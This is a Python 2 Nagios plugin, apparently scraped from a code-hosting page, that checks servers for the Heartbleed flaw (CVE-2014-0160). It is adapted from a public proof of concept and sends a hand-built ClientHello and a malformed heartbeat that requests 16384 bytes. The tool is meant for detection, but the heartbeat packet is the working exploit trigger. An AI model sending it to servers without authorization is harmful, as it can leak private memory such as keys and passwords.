4
0

check_heartbleed.in 11 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331
  1. #!/usr/bin/python2
  2. # Check_Heartbleed.py v0.6
  3. # 18/4/2014
  4. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford (jspenguin@jspenguin.org)
  5. # The author disclaims copyright to this source code.
  6. # Modified for simplified checking by Yonathan Klijnsma
  7. # Modified to turn into a Nagios Plugin by Scott Wilkerson (swilkerson@nagios.com)
  8. # Modified to include TLS v1.2, v1.1, v1.0, and SSLv3.0, defaults to 1.1 (sreinhardt@nagios.com)
  9. # Corrected Hello and Heartbeat packets to match versions
  10. # Added optional verbose output
  11. # Reimplemented output message and added Rich's idea for looping all supported versions
  12. # Suggested and implemented in another plugin looping of all versions by default (rich.brown@blueberryhillsoftware.com)
  13. import sys
  14. import struct
  15. import socket
  16. import time
  17. import select
  18. import re
  19. from optparse import OptionParser
  20. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
  21. options.add_option('-H', '--host', type='string', default='127.0.0.1', help='Host to connect to (default: 127.0.0.1)')
  22. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  23. options.add_option('-v', '--version', type='int', default=-1, help='TLS or SSL version to test [TLSv1.0(0), TLSv1.1(1), TLSv1.2(2), or SSLv3.0(3)] (default: all)')
  24. options.add_option('-u', '--udp', default=False, action='store_true', help='Use TCP or UDP protocols, no arguments needed. This does not work presently, keep to TCP. (default: TCP)')
  25. options.add_option('-t', '--timeout', type='int', default=10, help='Plugin timeout length (default: 10)')
  26. options.add_option('-V', '--verbose', default=False, action='store_true', help='Print verbose output, including hexdumps of packets.')
  27. def h2bin(x):
  28. return x.replace(' ', '').replace('\n', '').decode('hex')
  29. # Returns correct versioning for handshake and hb packets
  30. def tls_ver ():
  31. global opts
  32. if opts.version == 0: #TLSv1.0
  33. return '''03 01'''
  34. elif opts.version == 2: #TLSv1.2
  35. return '''03 03'''
  36. elif opts.version == 3: #SSLv3.0
  37. return '''03 00'''
  38. else: #TLSv1.1
  39. return '''03 02'''
  40. # Builds hello packet with correct tls version for rest of connection
  41. def build_hello():
  42. hello = h2bin('''
  43. 16 ''' + tls_ver() + ''' 00 dc 01 00 00 d8 ''' + tls_ver() + ''' 53
  44. 4e d0 57 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  45. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  46. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  47. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  48. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  49. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  50. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  51. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  52. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  53. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  54. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  55. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  56. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  57. 00 0f 00 01 01
  58. ''')
  59. ##### Hello Packet Layout #####
  60. # 16 # initiate handshake
  61. # + tls_ver() + # version of tls to use
  62. # 00 dc # Length
  63. # 01 # Handshake type (hello)
  64. # 00 00 d8 # Length
  65. # + tls_ver() + # version of tls to use
  66. # 53 43 5b 90 # timestamp (change?)
  67. # 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf # random bytes (seriously!)
  68. # bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de # random bytes (seriously!)
  69. # 00 # Length of session id (start new session)
  70. # 00 66 # Length of ciphers supported list
  71. # c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 # 2 byte list of supported ciphers
  72. # 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c # 2 byte list of supported ciphers cont
  73. # c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 # 2 byte list of supported ciphers cont
  74. # c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 # 2 byte list of supported ciphers cont
  75. # c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c # 2 byte list of supported ciphers cont
  76. # c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 # 2 byte list of supported ciphers cont
  77. # 00 08 00 06 00 03 00 ff # 2 byte list of supported ciphers cont
  78. # 01 # Length of compression methods
  79. # 00 # Null compression (none)
  80. # 00 49 # Length of TLS extension list
  81. # 00 0b 00 04 03 00 01 02 # Elliptic curve point formats extension
  82. # 00 0a 00 34 00 32 00 0e 00 0d 00 19 # Elliptic curve
  83. # 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 # Elliptic curve cont
  84. # 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 # Elliptic curve cont
  85. # 00 01 00 02 00 03 00 0f 00 10 00 11 # Elliptic curve cont
  86. # 00 23 00 00 # TLS sessions ticket supported
  87. # 00 0f 00 01 01 # Heartbeat extension
  88. ##### End Hello Packet #####
  89. return hello
  90. # Builds and returns heartbleed packet that matches with tls version
  91. def build_hb():
  92. hb = h2bin('''
  93. 18 ''' + tls_ver() + ''' 00 03
  94. 01 40 00
  95. ''')
  96. ##### Heartbleed Packet Layout #####
  97. # 18 # TLS Record Type (heartbeat)
  98. # + tls_ver() + # TLS version
  99. # 00 03 # Length
  100. # 01 # Heartbeat request
  101. # 40 00 # Length (16384 bytes)
  102. ##### End Heartbleed Packet #####
  103. return hb
  104. # Builds and sends hb packet with zero size
  105. def build_empty_hb():
  106. hb = h2bin('''
  107. 18 ''' + tls_ver() + ''' 00 03
  108. 01 00 00
  109. ''')
  110. ##### Heartbleed Packet Layout #####
  111. # 18 # TLS Record Type (heartbeat)
  112. # + tls_ver() + # TLS version
  113. # 00 03 # Length
  114. # 01 # Heartbeat request
  115. # 40 00 # Length (16384 bytes)
  116. ##### End Heartbleed Packet #####
  117. return hb
  118. # Receives data from socket for specified length
  119. def recvall(s, length):
  120. global opts
  121. endtime = time.time() + opts.timeout
  122. rdata = ''
  123. remain = length
  124. while remain > 0:
  125. rtime = endtime - time.time()
  126. if rtime < 0:
  127. return None
  128. r, w, e = select.select([s], [], [], 5)
  129. if s in r:
  130. try:
  131. data = s.recv(remain)
  132. except socket.error:
  133. # Should this be OK, as the server has sent a rst most likely and is therefore likely patched?
  134. print 'UNKNOWN: Server ' + opts.host + ' closed connection after sending heartbeat. Likely the server has been patched.'
  135. sys.exit(3)
  136. # EOF?
  137. if not data:
  138. return None
  139. rdata += data
  140. remain -= len(data)
  141. return rdata
  142. # Receives messages and handles accordingly
  143. def recvmsg(s):
  144. global opts
  145. hdr = recvall(s, 5)
  146. if hdr is None:
  147. return None, None, None
  148. typ, ver, ln = struct.unpack('>BHH', hdr)
  149. pay = recvall(s, ln)
  150. if pay is None:
  151. return None, None, None
  152. if opts.verbose == True:
  153. print ' ... received message: type = %d, ver = %04x, length = %d, pay = %02x' % (typ, ver, len(pay), ord(pay[0]))
  154. return typ, ver, pay
  155. # Sends empty hb packet
  156. def hit_hb(s, hb):
  157. global opts
  158. if opts.verbose == True:
  159. print 'Sending malformed heartbeat packet...'
  160. try:
  161. s.send(hb)
  162. except socket.error:
  163. print 'UNKNOWN: Error sending heartbeat to ' + opts.host
  164. sys.exit(3)
  165. while True:
  166. typ, ver, pay = recvmsg(s)
  167. if typ == None:
  168. returncode = 0
  169. break
  170. if typ == 24:
  171. if pay > 3:
  172. returncode = 2 # vulnerable
  173. break
  174. else:
  175. returncode = 0
  176. break
  177. if typ == 21: # TLS mismatch, hopefully we don't find this
  178. returncode = 0
  179. break
  180. #Outside of while
  181. if returncode == 0: # Not vulnerable message
  182. if opts.version == 3: #respond with ssl instead of tls
  183. message = 'SSLv3.0 is not vulnerable. '
  184. else:
  185. message = 'TLSv1.' + str(opts.version) + ' is not vulnerable. '
  186. else: # vulnerable message
  187. if opts.version == 3: #respond with ssl instead of tls
  188. message = 'SSLv3.0 is vulnerable. '
  189. else:
  190. message = 'TLSv1.' + str(opts.version) + ' is vulnerable. '
  191. return returncode, message
  192. # Prints nagios style output and exit codes
  193. def print_output(exitcode, outputmessage):
  194. if exitcode == 2:
  195. print 'CRITICAL: Server ' + opts.host + ' ' + outputmessage
  196. else:
  197. print 'OK: Server ' + opts.host + ' ' + outputmessage
  198. sys.exit(exitcode)
  199. # Outputs packets as hex, used for verbose output
  200. def hexdump(s):
  201. for b in xrange(0, len(s), 16):
  202. lin = [c for c in s[b : b + 16]]
  203. hxdat = ' '.join('%02X' % ord(c) for c in lin)
  204. pdat = ''
  205. for c in lin:
  206. if 32 <= ord(c) <= 126:
  207. pdat += c
  208. else:
  209. pdat += '.'
  210. print ' %04x: %-48s %s' % (b, hxdat, pdat)
  211. print
  212. # Initiates connection and handles initial hello\hb sending
  213. def connect(hb):
  214. global opts
  215. if opts.udp == True:
  216. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  217. else:
  218. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  219. s.settimeout(opts.timeout)
  220. try:
  221. s.connect((opts.host, opts.port))
  222. except socket.error:
  223. print 'UNKNOWN: Connecton to server ' + opts.host + ' could not be established.'
  224. sys.exit(3)
  225. hello = build_hello()
  226. if opts.verbose == True:
  227. print 'Sending hello packet...'
  228. try:
  229. s.send(hello)
  230. except socket.error:
  231. print 'UNKNOWN: Error sending hello to ' + opts.host
  232. sys.exit(3)
  233. while True:
  234. typ, ver, pay = recvmsg(s)
  235. if typ == None:
  236. print 'UNKNOWN: Server ' + opts.host + ' closed connection without sending Server Hello.'
  237. sys.exit(3)
  238. # Look for server hello done message.
  239. if typ == 22 and ord(pay[0]) == 0x0E:
  240. if opts.verbose == True:
  241. hexdump(pay)
  242. break
  243. else:
  244. if opts.verbose == True:
  245. hexdump(pay)
  246. continue
  247. if opts.verbose == True:
  248. print 'Sending malformed heartbeat packet...'
  249. try:
  250. s.send(hb)
  251. except socket.error:
  252. print 'UNKNOWN: Error sending heartbeat to ' + opts.host
  253. sys.exit(3)
  254. return s
  255. def main():
  256. global opts
  257. opts, args = options.parse_args()
  258. exitcode = 0
  259. outputmessage = ''
  260. if opts.version == -1: # no version was specified, loop.
  261. if opts.verbose == True:
  262. print 'Checking all supported TLS and SSL versions.'
  263. for opts.version in [0, 1, 2, 3]:
  264. hb = build_hb()
  265. s = connect(hb)
  266. returncode, message = hit_hb(s, hb)
  267. if returncode > exitcode:
  268. exitcode = returncode
  269. outputmessage += message
  270. else: # version was specified
  271. hb = build_hb()
  272. s = connect(hb)
  273. exitcode, outputmessage = hit_hb(s, hb)
  274. print_output(exitcode, outputmessage)
  275. if __name__ == '__main__':
  276. main()